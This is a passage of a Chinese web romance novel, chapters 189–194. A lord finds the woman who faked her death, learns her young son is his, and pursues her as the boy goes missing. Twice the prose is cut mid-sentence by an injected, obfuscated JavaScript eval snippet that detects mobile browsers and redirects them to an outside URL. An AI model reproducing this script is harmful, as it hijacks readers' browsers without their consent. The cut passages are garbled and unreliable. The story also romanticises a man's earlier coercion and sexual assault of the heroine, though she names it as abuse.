元青找好了船朝这边走了过来,远远便见自家爷手上抱着个孩子。 二人不知在说些什么,他家爷竟笑得那样开怀。 元青满心觉得不可思议。 从清姑娘去后,爷已经有三年没有笑过了。 当他走近一看那小孩,他的脸色变了变。 第一百八十九章 小团子 就在这时,一阵急促的脚步声传来。 一名穿着青布衣裳的中年妇人手拿竹竿,快步跑过来。 方才小少爷的风筝飞到了这边的柳树上,刘妈便找船夫借了个竹竿,打算将风筝敲下来。 可一眨眼的功夫,小少爷就不见了,可把她急坏了。 如今看见自家少爷被个陌生男子抱在怀里,心里又紧张了起来。 她连忙上前道:“糯糯少爷,您怎么跑到这儿来了?” 说完,她又对着谢宴之福了福身:“这位爷,可否将我家少爷放下来?” 谢宴之颔首,轻轻将小团子放在了地上。 “刘妈妈,你怎么连两三岁娃娃都跑不过呀?”沈糯糯被放下后,还咯咯笑着。 随即迈着小短腿,蹦蹦跳跳地到了刘妈妈身边。 刘妈赶紧牵住沈糯糯的手,上上下下仔细查看他有没有磕碰。 心里暗自想着,要是少爷受了伤,回去可没法跟苏娘子交代。 沈糯糯见刘妈额头沁出了细密的汗珠,小手在袖子里掏了掏,摸出一块绣着小老虎的帕子,踮起脚尖就往刘妈脸上擦:“刘妈,别着急,糯糯不会走丢的。” 刘妈心里一暖,揉了揉他的小脑袋:“知道我们糯糯少爷最乖了。” “我们该回去了,出来这么久,你娘该担心了。” 沈糯糯乖乖点头,转身对着谢宴之挥了挥小手:“叔叔,下回我还来找你玩!” 谢宴之看着他的模样,嘴角又弯了弯。 可回头瞥见元青那副别有深意的眼神。 他脸上的笑意瞬间褪去,又恢复了往日的沉默寡言。 不过是这孩子看着亲切,才顺手帮了个忙罢了。 元青见谢宴之抬脚往前走,连忙跟上去,忍不住说道:“爷,我瞧着这小孩儿,跟您小时候有几分相像。” 只是不像爷这般冷淡,那小团子浑身都透着股暖乎乎的劲儿。 “是吗?”谢宴之脚步微顿,又回头看了眼那小小的身影。 元青点头,那小团子确实生得极为漂亮,跟他爷小时候一样好看。 “元青。” 又走了几步,谢宴之忽然开口叫他。 “爷,您吩咐?”元青连忙应道。 “你和菱儿要是得空,就早些生个孩子,到时候做我的义子。” “啊?”元青闻言,不明白爷怎么忽然提起这个事。 他耳根瞬间红透。 他和菱儿才成婚不到半年,哪这么快有孩子? 谢宴之见他这副窘迫模样,也没再多说,掀开车帘坐了进去。 马车缓缓朝着何刺史府的方向驶去。 到了何刺史府,何刺史何兴鸿已经在门口迎接。 见马车停下,他快步上前,拱手躬身:“下官何兴鸿,恭迎世子。” “何刺史不必多礼。”谢宴之走下马车,抬了抬手。 二人一同来到正厅,府上的丫鬟替二人倒了茶水后,何刺使恭敬道: “世子,苏州地界已依您先前的上书,减免三成徭役。” “女子经营的铺子,赋税再减两成,如今商户们都感念您的恩德。” 自谢宴之上书圣上兴修水利,轻减徭役,赋税也按不同的人员收取后,这两年苏州经济更是繁荣,百姓安居乐业,对谢世子也是称赞有加。 今日亲见,更觉他虽年轻,却有经世济民的真知灼见,何兴鸿心中的敬佩又深了几分。 谢宴之点点头。 今日在街上,他确实见百姓都安乐,女子开铺子的不在少数。 “对了,”何兴鸿又道,“杭州知府与知县两位大人,已在仙鹤楼备下薄宴,想请世子亲临,指点地方政务。” 谢宴之没有推辞,便跟着何兴鸿去赴了宴。 是夜,酒过三巡,元青驾着马车送谢宴之回客栈。 谢宴之忽然掀帘:“元青,停车。” “我想下来走走。” 夜里的苏州与白日不一样。 街上都是小商贩,处处都挂着灯笼,点着烛火,整条街看起来暖意融融。 元青牵着马车,缓缓跟在谢宴之身边。 见前方有一座石拱桥,谢宴之走上桥去。 凭栏望去,见小河两岸烛火点点,一盏盏花灯顺着水流缓缓漂远。 桥下轻舟泊岸,渔家女正低头整理鱼篓,孩童提着鱼灯花灯,在河岸两边嬉戏玩耍。 他又见石拱桥下,河里的花灯顺流而下。 花船上的姑娘看着谢宴之站在石桥之上,身姿挺拔,纷纷挥着丝帕,柔声道:“公子上船来坐坐吧?” 谢宴之却只是负手而立,片刻后便转身走下石桥。 花船上的女子们望着他的背影,只得收起丝帕,暗自惋惜。 元青从马车里拿了一件披风为谢宴之披上:“爷,夜里凉。” 谢宴之忽然看见前面有个身影,与记忆中的那人有几分相似,他心里一紧。 不等元青系紧披风的带子,便迅速追了上去。 “沈清念!” 前面的女子回头,一脸疑惑地看着他。 元青赶紧上前道:“这位姑娘不好意思,我家爷喝了酒,认错了人了。” 谢宴之见那女子回头,并不是记忆中的那张脸,眼里的惊喜转瞬即逝,只剩落寞。 元青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611011|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着谢宴之那样,暗自叹了口气。 爷是将刚才那人当成清姑娘了吧。 夜风轻轻吹过,谢宴之的酒也醒了不少。 方才那一瞬,他真的以为是她回来了。 谢宴之从腰间取下一个荷包,拿着手里看着。 那是她为他绣的唯一的一个物件儿。 元青看谢宴之又捧着那荷包看,心里也有些难受。 那荷包上的祥云图案还未绣完,爷便整日戴在腰间,全然不顾旁人的眼光。 老夫人也曾说要请京城最好的绣娘将它绣完,以免损了他世子的身份,爷也没有答应。 街上依旧热闹,叫卖声、嬉笑声不绝于耳。 二人一直往前走着,直到看到前面那个小小的身影,谢宴之才停下了脚步。 “小团子!” 沈糯糯提着一盏鱼灯在铺子前玩耍,忽然听到有人在叫小团子。 他回头一看,顿时咧开嘴笑了,晃着小短腿跑到谢宴之跟前,仰头喊道:“叔叔!” “这是你家的铺子?”谢宴之看了眼那招牌:苏氏香料铺。 倒是与她之前的苏氏香珠铺一字之差。 沈糯糯忙点点头,拉着谢宴之的手就往里走。 谢宴之看铺子里摆满了香料,有沉香,檀香,松香。 摆放整齐雅致,看着像是女子开的铺子。 “叔叔,我娘说做人要知恩…。” 沈糯糯摸着小脑袋想了想:“知恩图报!” 他放开谢宴之的手,踮着脚,从腰间的小抽屉里掏出一个小小的空香囊。 又跑到雪松香的罐子前,抓了满满一把塞进香囊里。 递到谢宴之面前:“给,叔叔。” “我家的香料是这条街最好的。” 他又补了一句:“这香囊是我娘亲手绣的,本来是给我的,我送给你啦!” 谢宴之接过香囊,笑着揉了揉他的头,又将香囊小心地系在了腰间。 “糯糯少爷,该歇息了。”里屋传来刘妈的声音。 沈糯糯对着谢宴之挥挥手:“叔叔,刘妈叫我了,我先进去啦!” 谢宴之看着那小团子进了屋子,便转身上了马车。 次日,谢宴之与元青登船离开苏州。 两岸的风光不断向后退去,谢宴之立在船头,望着澄西的方向。 他又要去看她了。 想到这儿,谢宴之从腰间拿起那个荷包,目光无意间扫过腰间那只小小的香囊。 等到了她那儿,他定要将这只香囊给她看。 谢宴之将荷包与香囊拿在手中看了看,忽地脸色一变,朝着元青道:“掉头!回苏州!” 第一百九十章 你还是这样霸道 元青不知爷为何要掉头回去。不过他看爷的神情,似乎是有什么重要的事。 于是,元青让船夫掉头。 谢宴之手握住那香囊,心里隐隐有些苡动。 昨夜天色有些暗,他没有仔细看那香囊,今日拿出来一看,才发觉那香囊上绣着的祥云与荷包上的一样,尾部都有一个红点。 绣这香囊的人,定与沈清念是相熟的。 他也不知自己存了何种心思,总归是想去确认下。 或许自己的这种想法很荒谬,他还是想去看看。 苏氏香料铺。 沈清念坐小桌旁找了一会儿。 见沈糯糯在一旁,她问道:“糯糯,你看见娘放在这儿的香囊了没?” 沈糯糯吸了吸鼻子道:“我将它送人了。” “送人了?”沈清念觉得有些奇怪。 她给糯糯绣的香囊那上面的祥云还没有绣好,怎么就送人了。 “送给哪个玩伴儿了?去拿回来,娘将那图案绣完再给人家。” 沈糯糯听沈清念说想你香囊还没绣好,惊呼一声:“糟了!” “我送给那天帮我捡风筝的叔叔了。” 他哪里知道娘亲还没将那香囊绣好! 沈清念皱眉道:“小孩子的香囊小小的一只,那叔叔没有嫌弃吗?” “不嫌弃!” 身后一个声音忽然传来,沈清念的身形一颤。 “叔叔!”沈糯糯开心地朝谢宴之挥了挥手。 “娘,就是这个叔叔。” 虽然这声音无比耳熟,但沈清念心里存着一股侥幸。 也许只是声音相似,来人也不一定是谢宴之,毕竟都三年了,她在他心中早**。 她稳了稳心神,转过身去。 却看到谢宴之那张脸就在眼前。她眼里瞬间涌现出了一丝慌乱。 谢宴之!真的是谢宴之! 但她随即又平静了下来,在心里告诉自己不要慌。 反正沈清念已经**,她只是个与沈清念长得一样的人罢了。 谢宴之眼睛直直盯着沈清念,没有错过她眼里的那丝慌乱。 眼下不需要说什么,他已知道面前的人就是她。 方才听到她的声音,看到她的背影时,他的心就有些紧张。 现在终于看到了那张日思夜想的脸。 他的心里泛起了一丝苦涩,负在身后的手,也不自觉地抖起来。 他一直盯着她,生怕一眨眼,眼前的人就又成了他的幻想。 “清姑娘!”元青看到沈清念,喜出望外。 清姑娘没死,真是太好了! 沈清念捏了捏手中的帕子,故作疑惑道:“这位小哥认错人了。” “我叫苏芜,大家都叫我苏娘子。” 说着,她脸上带着得体的笑,尽量让自己看起来没什么异样之处。 听到沈清念否认,元青有些急了,他赶紧说道: “清姑娘,这三年,菱儿很想你,她常常在夜里哭。” 闻言,沈清念的眉头微皱,但也就一瞬的功夫又恢复了寻常。 “我不知道你在说什么。” 元青听着沈清念这撇清关系的话,知道清姑娘这是不打算认他们两个。 他赶紧看了一眼谢宴之,眉眼里带着几分焦急。 可自家爷就那样看着清姑娘,也不言语。 元青急道:“爷!” 沈清念看着谢宴之一副泫然欲泣的样子,扭头对那边的伙计道:“福祥,过来招呼一下客人。” 说完,便要抱着沈糯糯往里面的院子去。 谢宴之见沈清念要走,终是反应过来,伸出手拦住了她。 “沈清念!” 谢宴之几乎是咬着牙,沉声喊出这几个字。 沈清念看着面前的手臂,有些恼怒道:“我说了,公子认错人了。” 说着,便一把推开谢宴之的手。 “你当真不肯与我相认?”谢宴之沉声道。 这个女人居然瞒着他假死,害他三年来都没有开怀过,满心都是对她的愧疚和思念。 好不容易找到了她,现在还不肯与他相认? 谢宴之哪轻易肯放她走? 他看了眼沈清念手中的沈糯糯。 沈清念也察觉到了他的眼神,不由地将沈糯糯抱得更紧。 “苏娘子,可否借一步说话?” 沈清念见谢宴之说着话,眼睛却没有离开过她怀里那个小人儿,心下不由地一沉。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他听出了她语气里的嘲讽。 谢宴之双手握住沈清念的肩膀,质问道:“我霸道?” “若非那人是你,我会这样?” “我与你亲密,你心中难道是不愿的?” 沈清念愤恨地看着他:“我宁可那人不是我!” 谢宴之闻言,捏着她的手又用力了几分。 直到他看见她眉头微皱,似乎是被他弄疼了,他才猛地松开了手。 “跟我回去。”他用力压制住心中的怒意。 沈清念得了自由,立刻往后退出几步。 又听到谢宴之的话,立刻拔下手中的发钗,对准自己的喉咙:“既被你发现,我也没想过你会放过我。” “我是不会跟你回去的,除非我死!”说着,就将那钗子往里刺了刺。 谢宴之看到沈清念的脖子已有些红色,他眸光暗了暗。 他见到她满心欢喜,她却以为他是来逼死她的。 谢宴之看了看她,声音低沉道:“你必须跟我回去,你本就该是我的夫人。” “夫人?” “我这样身份低微的人,如何能做世子的夫人?”沈清念愤愤不平道。 她本是与他有婚约,却被逼做了妾室。 “我都知道了。”谢宴之说着,从袖中掏出两个银锁来: “这两个就是我们的定亲信物。” 沈清念看到谢宴之手中的两个银锁,也有些诧异。 她从没想过,谢宴之也有一只一模一样的。 毕竟他们的婚事根本无人知晓。 “世子弄错了,以为拿着两个一模一样的银锁,就能诓骗人了?” 谢宴之见沈清念还是不肯认,叹了一口气。 “你看。”谢宴之当着沈清念的面,打开了那银锁,从里取出了一张泛黄的纸张。 沈清念接过来一看,那竟是二人的婚书。 她竟然从来不知这银锁里还藏着这个。 要是她知道,她一定早早地就给烧掉了。 谢宴之原本也不知,直到那日修银锁的工匠,意外打开了银锁,才发现了二人的婚书。 沈清念当即就将那婚书撕碎扔在他面前:“世子,这个世上已经没有沈清念了。” 谢宴之看着面前的碎屑,眉头微皱“你非要如此?” 非要撇清他与她的关系。 “民妇与世子本就没什么关系!” 她现在是苏芜了,苏芜没去过京城,更没见过什么世子。 沈清念又拿着钗子抵住了脖子,谢宴之心中的怒火又窜了上来。 “沈清念,你敢!” 她以为拿个破钗子,就能威胁住他了?可笑! 谢宴之正要伸手,卸下她手中的发钗,却见一滴清泪从她眼中滑落。 沈清念当然知道她用一根簪子,是威胁不了他的。 可是,让她什么也不做,就跟着他回去,她也是万万做不到的。 至少,也要让谢宴之知道她有多不愿回到那座牢笼。 谢宴之的手顿了顿,他在她眼里看到了委屈和决绝。 他的心隐隐有些刺痛。 “下去!” 谢宴之撇过头,压着声音道。 沈清念先是一愣,随即立刻掀了帘子往外去。 直到双脚落地,沈清念才松了一口气。 元青见沈清念脸色不好地回了铺子,他看了看自家爷。 只见自家爷面色晦暗不明,又有些疲惫地揉了揉眉间,元青原本想询问的话,也憋了回去。 “走吧。”谢宴之压着声道。 “就这样走了?回京城?”元青急得出口。 谢宴之道:“回客栈。” 既然找到了沈清念,那他就不可能将她留在这里,自己一人回京城。 不对,她还有了一个小团子! “像吗?”元青正欲驾车,忽然听到谢宴之问道。 像吗?自家爷在说什么? 元青一时没有反应过来,小声问道:“爷,什么像吗?” 谢宴之见元青一脸疑惑,指了指铺子:“我与那小团子。” 元青瞳孔放大,恍然大悟,他仔细想了下,笑道:“爷与那小团子是有几分像的。” 说完以后,他惊讶地看向谢宴之:“爷的意思是……!” 元青才发现,自己以后是不是得叫那小团子小主子了? 谢宴之挥了挥手,示意元青先回客栈。 沈清念回了铺子后,心里一直忐忑不安。 不知谢宴之是不是这样放过她了? 她看着已经睡熟的沈糯糯,轻声道:“糯糯,你可能要跟着娘逃走了。” 翌日,香料铺又来了一车香料。 沈清念也来到车前,打算将一大包香料抱在手上,搬进铺子里。 此时一只大手伸了过来,轻轻接过了那一大包香料。 沈清念回头一看,嘴角带笑:“萧公子,你怎么来了?” “今日休沐,我就过来了。”萧怀意淡淡回应。 待将香料搬进铺子里,他转身见沈清念发上沾了一缕沉香木屑。 他想伸手帮她取下来,最后还是忍住,温声提醒道:“这儿还留了一缕木屑。” 沈清念低头,见自己发上真的有木屑,用手轻轻拿掉了。 又给萧怀意到了热茶:“萧公子,请坐。” 这三年,萧怀意有空就会从滇城到苏州来看她们母子。 这间苏氏香料铺,也多亏了有萧怀意的照看。 沈清念心中十分感激他。 萧怀意接过茶盏,看着沈清念,这三年来,他的心意她是知晓的,只是她一直在拒绝。 而沈清念此刻望着萧怀意眼下的乌青,知他又是连夜赶路到的苏州,心中很是愧疚。 沈糯糯从门帘后出来,一眼就看到了小桌边的萧怀意,兴奋的跑了过来:“萧叔叔!” 萧怀意开心地抱起沈糯糯,将他抛在空中,惹得他咯咯笑。 沈清念见糯糯笑得开心,脸上也洋溢着笑。 谢宴之坐在对面的包厢里,看着眼前的一幕,一掌拍在桌上。 萧怀意竟一直都知道沈清念没死! 恐怕沈清念的假死,也有他的手笔在里面。 他又看见她对着萧怀意笑得那样好看,心里更是生气。 可他有什么法子,那个女人一见他就绷着脸,要死要活的。 不过他昨日也查清楚了,沈清念来苏州大半年后,就生下了糯糯。 而且到现在,她也没与别的男子成婚。 想来,即使萧怀意像个狗皮膏药在她身边三年,她也没有心动。 还算她有些自觉,还知自己已为人妇! 可她怎么就不能给他一个好脸色! 思及此处,谢宴之揉了揉太阳穴,看着眼前的元青道:“若是一个女子说你霸道,不顾旁人的意愿,你会怎么做?” 元青一愣,随即脱口道:“爷是说清姑娘嫌你霸道!不顾她的意愿?” 谢宴之停下动作,不自然道:“我什么时候说是我了?” 元青摸了摸鼻子,小声嘀咕道:“不是爷还能是谁?” 谢宴之清了清嗓子道:“嗯?” 那女人不光说他霸道,还骂过他无耻,只是他还说不出口。 元青一脸狐疑看着自家爷,忽然反应过来爷是在反省自己,想要得到清姑娘的谅解。 他想起成婚后,菱儿对他说过,她初时并不喜欢爷,因为爷总是强迫清姑娘,总是自以为是。 后来还对清姑娘用了强! 元青想到这儿,颇有些同情地看了眼谢宴之。 心里暗道爷恐怕还不知想要清姑娘谅解有多困难。 第一百九十二章 你当真不肯嫁我 谢宴之看着元青的目光,摆了摆手。 元青悻悻道:“若是我,我会试着多顾着那女子的意愿些。” 顾着她的意愿?谢宴之脑中又想起沈清念的话:“我不会跟你回去!” 他立即就否定了这一条。 又隔了一会儿,谢宴之见沈清念为萧怀意端来了一些糕点。 萧怀意抱着小团子,一口一口地喂着他。 沈清念坐在一旁,一手撑头,温柔地看着二人。 他心里又有些烦躁了,顾及她的意愿是不可能了。 但他或许还有别的法子。 “那若是有女子骂你无耻,怎么办?” 谢宴之说完,眼睛迅速看向窗外,装得一副若有所思的样子。 元青眼睛一下睁得大大的,来不及思索,张口就道:“清姑娘还骂您无耻了?” 谢宴之回看了元青一眼。 元青赶紧低下了头:“我是说,还有这样的女子,敢骂…敢骂我无耻!” “那我定要……”谢宴之满含期望看着他。 元青也会和他一样恼怒吧。 “那我定要想想,是何处让人姑娘觉得我无耻,并改之!”元青坚定道。 虽然爷嘴硬,不肯承认。 但他肯定不能让爷一错再错呀! 一直不改的话,清姑娘什么时候才能原谅爷呀? 爷什么时候才能将清姑娘和小主子带回去呀? 谢宴之看了他一眼,艰难地张了张嘴:“改之?” 谢宴之从没想过他堂堂世子还需要改之,可元青看向他的眼神里透着无比的坚定。 “是啊,要是不改之,岂不是一直会被人家姑娘讨厌?” 谢宴之皱眉。 元青又往外看了一眼:“我瞧着萧公子虽对清姑娘有情,可是却克己复礼。” “爷尚来得及改…追回清姑娘。” 谢宴之静静看了看铺子中愉悦相处的三人,眸中暗了暗,好似下定了决心。 “走。”元青愣神之际,谢宴之却已经抬脚向铺子走去。 他赶紧跟了上去,谁知谢宴之又忽的脚步一顿,看着街边的小贩若有所思。 “小团子!” 谢宴之一到门口,就冲沈糯糯喊道。 “叔叔!”沈糯糯一看是谢宴之,麻溜地就从萧怀意腿上下来,朝谢宴之跑了去。 毕竟,谢宴之此刻手上拿着他一直想要的大大糖人儿。 沈清念伸手去拦时已来不及,只能看见那抹小小的身影扑进谢宴之的怀里。 谢宴之将手中的糖人儿递给沈糯糯,又一把将人抱了起来。 沈糯糯拿着糖人,甜甜道:“谢谢叔叔。” 谢宴之没想到糯糯会这样,他的心下一暖。 沈清念也没想到糯糯会和谢宴之这般亲近。 难道真的是因为他是他的生父吗? 谢宴之抱起沈糯糯,他看着萧怀意,眼里满是挑衅。 萧怀意看到谢宴之进来时,心里有些震惊,他眼神复杂地看向沈清念,沈清念叹了口气。 她方才正想告诉萧怀意,谢宴之已经发现了她们母子。 可沈糯糯一直围在身边,也不好当着孩子的面说,只是没想到,谢宴之今日又来了。 上一次她明明已经把话说得那般决绝,他怎么还不肯罢休? “世子!”萧怀意率先起身,拱手行礼。 谢宴之抱着沈糯糯,走到沈清念边上坐着,看着对面的萧怀意开口道:“怀意今日是特意来看我夫人的?” 闻言,沈清念一下子看向谢宴之道:“世子,莫要胡言乱语。” 谢宴之面上不恼,反而笑得温和,伸手轻轻捏了捏糯糯软乎乎的脸蛋,抬眼看向沈清念: “我何时胡言乱语了?” 说着,又将自己的脸贴近糯糯的脸,看向沈清念:“跟我长得不像吗?” 沈清念闻言,指尖微微蜷缩,却并不觉得有多惊讶。 谢宴之想要查到糯糯的身世,也不是什么难事。 只需要找到衙门的户籍记录一查便知。 只是她觉得谢宴之今日似有些不同。 再看到他们父子脸贴在一起,她心中就有些后悔。 若是当初没有心软留下这个孩子,或许就不会有今日的纠缠了。 倒是糯糯舔着糖人,又看了看谢宴之:“娘亲,我和叔叔像吗?” 小小的人儿只觉得叔叔长得很好看,比萧叔叔还好看。 若是他真的像谢叔叔,那他岂不是一个很好看的小孩? 听沈糯糯这样问,沈清念一时语塞。 沈糯糯和他,确实很像。 “怀意,你说呢?”谢宴之见沈清念不回答,转头问萧怀意。 萧怀意又哪里不知谢宴之是故意刁难,显然他已经知道了糯糯是他的孩子。 萧怀意看了一眼沈清念,见她的脸色很不好,不由得替她担心。 沈清念也清楚谢宴之的心思,他就是想当着她的面,让萧怀意难堪。 糯糯也还不知道自己的父亲是谁,她绝不能让谢宴之在孩子面前乱说话。 沈清念深吸一口气,对着萧怀意道:“萧公子,你先回去。” 萧怀意看着她强装镇定的模样,心中不忍。 却也知道此刻自己留下只会让她更为难。 便点点头:“若苏娘子有事,可来客栈找我。” 沈清念嘴角带着浅浅的笑容,送萧怀意出了门。 待萧怀意走后,沈清念看到谢宴之,她脸上的笑意瞬间消散。 “世子,你到底想如何?” 谢宴之看着她气恼的样子,缓缓站起身,对着糯糯道:“糯糯乖,先去玩一会儿。” 说着,示意元青将糯糯带下去。 元青当即从怀里掏出一个机关小件儿道:“小主子,我们去玩这个吧。” 糯糯被元青手里的东西吸引,抬眼看着沈清念,眼里满是期待。 沈清念冲着他点点头。 她也不想沈糯糯听到谢宴之的胡言乱语。 沈糯糯立刻高兴地跟元青去铺子门前玩儿去了。 谢宴之看着沈清念一脸不耐的样子,背着手认真道:“我们成婚吧,我让你做我的世子妃。” 沈清念睁大眼睛看着他,看着他那副施舍的样子:“世子,民女不敢肖想您的世子妃之位,还望世子莫要再说胡话。” 谢宴之见她拒绝,看了一眼不远处的小团子:“沈清念,你连孩子都给我生了,你心里就真的没有我吗?” 沈清念平静道: “世子是误会了,生下糯糯只是无奈之举。” “当日我本想落胎,可大夫说我身子弱,怕往后再难有孕,这才留下了糯糯。” 谢宴之看着沈清念,见她一脸的认真,不似说谎,负在身后的手攥成了拳。 “你当真不肯嫁我?” 他上前一步,伸手抓住沈清念的肩膀,力道不自觉地加重了几分。 第一百九十三章 我在你心里就是这样的人 沈清念抬起头,冷眼看着他,眼眶却微微泛红:“敢问世子,这世间哪有女子愿意嫁给一个曾强迫过自己的人?” 谢宴之看到沈清念委屈得眼中含泪,心里又是一阵懊悔。 他想伸手轻抚沈清念的脸,却被她伸手推开。 “走开!” 沈清念说着,眼中的泪再也绷不住,缓缓滑落下来。 谢宴之攥紧了手,柔声道:“从前都是我错了。” “是我从一开始就看轻你,冒犯你,才让你对我心生厌恶。” “可我,我是真的心悦你。” “沈清念,以后我通通都改掉,好不好?” 沈清念听着谢宴之的许诺,不停地摇头。 “世子,喜欢一个人会让她跪在碎瓷片上吗?” “会让她当街乞讨吗?” “会拿她身边的人来威胁她吗?” “会不顾她的名节,夜里闯入她的闺房吗?” “世子的心悦民女实在是承受不起。何况民女只是一介商女,也配不上世子名门贵胄!” 沈清念的话像一记又一记的耳光扇在谢宴之的脸上。 他以为的对她的宠爱,都在他的强势霸道下变成了强迫。 良久,谢宴之缓缓开口。 “对不起。” 沈清念却往后退了两步,福了福身:“世子,过去的事不要再提了。民女只想与世子一别两宽,各自安好。” 谢宴之看着沈清念还屈膝福礼,他一把将人箍在怀里,在她耳边道:“我不答应!” 沈清念挣扎道:“谢宴之,你听不懂吗?我讨厌你!” “你快放开!” 福祥和刘妈只知苏娘子与客人在雕花隔间说话,现在竟见那公子将娘子抱住。 苏娘子满眼通红,又看那公子与小少爷有几分相似,还有什么不明白的? 想来那公子八成就是苏娘子的失踪三年的夫君。 只是看苏娘子的反应,好像二人之间有什么误会,苏娘子好像还没有原谅他。 福祥和刘妈站在那儿,一时也不知该怎么办。 沈糯糯瞧见这一幕,小短腿一迈就要冲过去,却被元青及时拉住。 “叔叔好像在欺负我娘亲。”糯糯急道。 他看到娘亲眼眶红红的,知道娘亲哭了。 元青蹲下身,柔声安抚:“叔叔没有欺负娘亲。” 他顿了顿:“他从前做错了事,惹你娘亲不开心了,现在正哄她呢。” “哦?”糯糯歪着小脑袋,满脸疑惑,“可被人哄不是该高兴吗?我娘为什么还要哭呀?” 从前刘妈哄他的时候,总会给他买糖葫芦,他每次都笑得很开心。 “你娘亲是太高兴了才哭的。” 沈糯糯狐疑地看着元青,元青摸了摸鼻子,又笃定地朝糯糯点了点头。 “你娘亲是喜极而泣。” “什么是喜极而泣?” “就是说你娘亲很是高兴。”元青又往里看了两眼,心里祈祷着自家爷这回能争口气。 求得清姑娘的原谅。 “沈清念,求你了!” 隔间内,谢宴之再次将沈清念箍紧,语气里带着从未有过的卑微。 他不想再失去她! 更何况他们二人都有了孩儿了。 “你不要把我当成世子,就当我是一个普通的人。” “我也有犯了错而不自知的时候,也想有个弥补的机会。” “让我好好弥补你好不好?” 沈清念讽刺道:“普通人?” “普通人谁敢这样强行抱住女子的?” 谢宴之闻言,身形一僵,缓缓松开了手,眼中满是失落。 沈清念整理了一下被揉皱的衣襟,看了看他,走出了隔间。 “福祥,拿扫帚来!把这普通人给我赶出去!下回他再敢来,见一次,打一次!” 说罢,她不再看谢宴之,快步走到门口,抱起一脸担忧的沈糯糯,径直往后院去了。 福祥拿着扫帚跑进来,看看面色阴沉的谢宴之,又看看一旁的元青。 犹豫半响,终究还是把扫帚放了回去,站在原地手足无措。 元青见谢宴之面色深沉,心知爷这是还没把清姑娘哄好,也不敢多言,只默默跟在谢宴之身后,扶着他上了马车。 马车里,谢宴之靠在车壁上,声音沙哑:“她为何不肯接受我?” 元青斟酌着开口:“爷是真的打算娶清姑娘为妻?” 见谢宴之点头,他又道,“只要爷坚持下去,清姑娘总有一天会明白您的心意的。” 谢宴之闭上眼,没有说话。 只是这两日,谢宴之没有去找沈清念,倒是沈清念先找上了门。 谢宴之打开门,见她站在门口,看他的眼神里带着些怨恨。 “你怎么来了?”他心头一紧,这两日他并未去招惹沈清念,不知她的脸色为何这般难看。 沈清念直接质问道:“是不是你带走了糯糯?” 谢宴之皱眉:“你在说什么?” 沈清念不待他多说,一把推开他,径直冲进屋里:“糯糯!你出来,娘亲来了!” 谢宴之跟在她身后,沉声道:“糯糯不在这里。” 话音刚落,他猛地反应过来:“糯糯不见了?” 沈清念点点头,眼眶发红。 “我们找遍了他平日去的地方,都不见他。” “所以,你就觉得是我带走了糯糯?”谢宴之问道。 “难道不是吗?”沈清念反问道。 除了谢宴之,沈清念不知道还有谁会带走糯糯。 对沈清念怀疑,谢宴之还是有些气恼的。 “好端端的,我带走糯糯做什么!” 沈清念看着他,讽刺道:“你不就是要逼我跟你回去?” 谢宴之被她这句话问得心中有些烦躁,他甩了袖子,快步走到门口,对着元青低声吩咐了几句。 元青不敢耽搁,领了吩咐便匆匆跑了出去。 谢宴之又回到屋子里,看着坐在桌旁的女人沉声道: “到底是怎么回事?你仔细说说。” 沈清念道:“糯糯在铺子前玩,后面福祥再去看时,就不见了他的踪影。” 谁能这样将糯糯这样悄无声息地抓走,沈清念自问除了谢宴之,旁的人都办不到。 旁的人也没有缘由这样做。 谢宴之沉默了一瞬,声音低沉:“我在你心里,就是这样的人?” “难道不是吗?”沈清念抬眼,眼底满是怨恨,眼泪也夺眶而出。 “你从前不就是这样?得不到,就用强的。” 她缓缓站起身来,用手擦掉泪,语气里带着决绝:“我今日只是想来告诉你,若你想用糯糯逼我回去,那你的算盘打错了。” “我已经不是从前那个任人摆布的沈清念了。糯糯是你的孩子,照顾好他。” 说罢,她不再看谢宴之,抬脚就要往外走。 谢宴之见状,上前一把拉住她的手臂,盯着她的眼睛,一字一句道,“糯糯是真的不见了。” 闻言,沈清念的睫毛颤了颤,心里涌起一丝慌乱。 第一百九十四章 那是你的相好? 谢宴之看着她这副失了魂的模样,心口骤然一紧。 他大步走上前去扶住沈清念的肩,将她扶到椅子上坐下。 “一切有我!” 沈清念抬眼望他,眼里带着些湿润与不安。 起初她还以为是谢宴之故意将糯糯藏了起来。 他是他的孩子,待在父亲身边,总归是平安的。 可此刻,沈清念只觉得一股寒意涌了上来,心中一阵后怕。 到底是谁带走了糯糯?他如今是生还是死? 想到这儿,沈清念的手不禁颤抖起来:“我要去找糯糯!” 谢宴之也没想到糯糯会不见了。 见沈清念说着,就要起身往外走去。 谢宴之立刻伸手拦住她道:“不消片刻,就会有消息。” 他已经让元青拿着他的腰牌去请何刺史让人搜城,想必很快就会有消息的。 他眼神坚定地看着沈清念,示意她坐下。 此刻谢宴之脸色铁青,他倒要看看,到底是谁如此大胆,敢动他谢宴之的孩子! 话音刚落,门外传来急促的脚步声,元青掀帘而入,额角挂着些汗:“爷,小主子有消息了!” “在何处?” 谢宴之与沈清念的声音同时响起。 元青看了眼两位主子的期盼的神色,忙道:“在城郊的悦来客栈!” 谢宴之当即起身,沈清念也紧跟在后:“我也去。” 谢宴之看她一脸坚决,他知道她担心糯糯,不让她去,恐怕她也会想法子跟着去,便朝着沈清念点了点头。 “怎么回事?”谢宴之翻身上马。 元青道:“何刺使让人搜城,发现还有两处人家的孩子也丢了。 “后来,悦来客栈的掌柜遣店里的伙计来报了信,说是店里来了几个一脸凶相的客人,还带着几个衣着富贵的孩子。” “那掌柜怀疑那几人是绑了别人家的孩子,这才让人来报了信。” 